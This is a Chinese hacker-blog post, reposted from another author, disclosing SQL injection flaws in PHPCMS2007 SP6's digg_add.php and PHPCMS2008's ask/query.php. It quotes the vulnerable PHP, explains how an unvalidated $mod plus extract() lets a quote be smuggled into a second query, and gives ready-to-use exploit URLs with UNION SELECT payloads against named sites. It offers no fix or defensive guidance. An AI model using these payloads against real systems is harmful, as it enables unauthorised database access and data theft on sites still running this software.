导航

心动吧黑客BLOG

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« P3P Header Tipsdvbbs php 的一个小注入 »

PHPCMS2007 SP6 的一个注入

来源:phpeval's BLOG
作者:phpeval

digg/digg_add.php

XML/HTML代码
$mod = $digg_mod;      
if ($mod && $id)     
{         
$table_end = $channelid == 0?'':'_' . $channelid;      $table_name = $CONFIG['tablepre'] . $mod . $table_end; //$mod没有任何验证就进去了。         
$mod_id = $mod . 'id';         
if ($mod == 'article')         
{          ………………      }         
else        
{             
$sql = "SELECT * FROM $table_name WHERE $mod_id=$id";   //第一次注入   
      }      $res = $db->get_one($sql);         
@extract($res);                 //看到TABLE_DIGG_DATA表有一个mod列。可以覆盖下面的$mod    
      ……………………             
$sql = "SELECT `digg_id` FROM " . TABLE_DIGG_DATA . " WHERE `mod`='$mod' AND `text_id`='$id' and  `digg_channel`='$channelid'";             
$res = $db->get_one($sql);               //第二次注入  
第一次的注入不太好。仅仅是因为单引号貌似进不去。构造一个不错的。然后第二次就把$mod覆盖后。放一个单引号进去。

想飞都可以了。

test方式:http://www.phpeval.cn/digg/digg_add.php?id=1&con=2&digg_mod=digg_data%20where%201=2%09union%09select%201,2,0x27,4,5,6,7,8,9%20/*

顺便发一个phpcms2008 的注入 http://www.phpeval.cn/ask/query.php?action=over&id=1 union(select 1,2)
懒得写什么了。就是一个很简单的注入
 

原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]

本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/PHPCMS2007-SP6-deyigezhuru.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

黑客榜之热文排行

黑客榜之本年排行

黑客榜之本月排行

黑客榜之随机文章

网站分类

搜索内容

最新评论及回复

最近发表

所属分类下的文章

日历

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved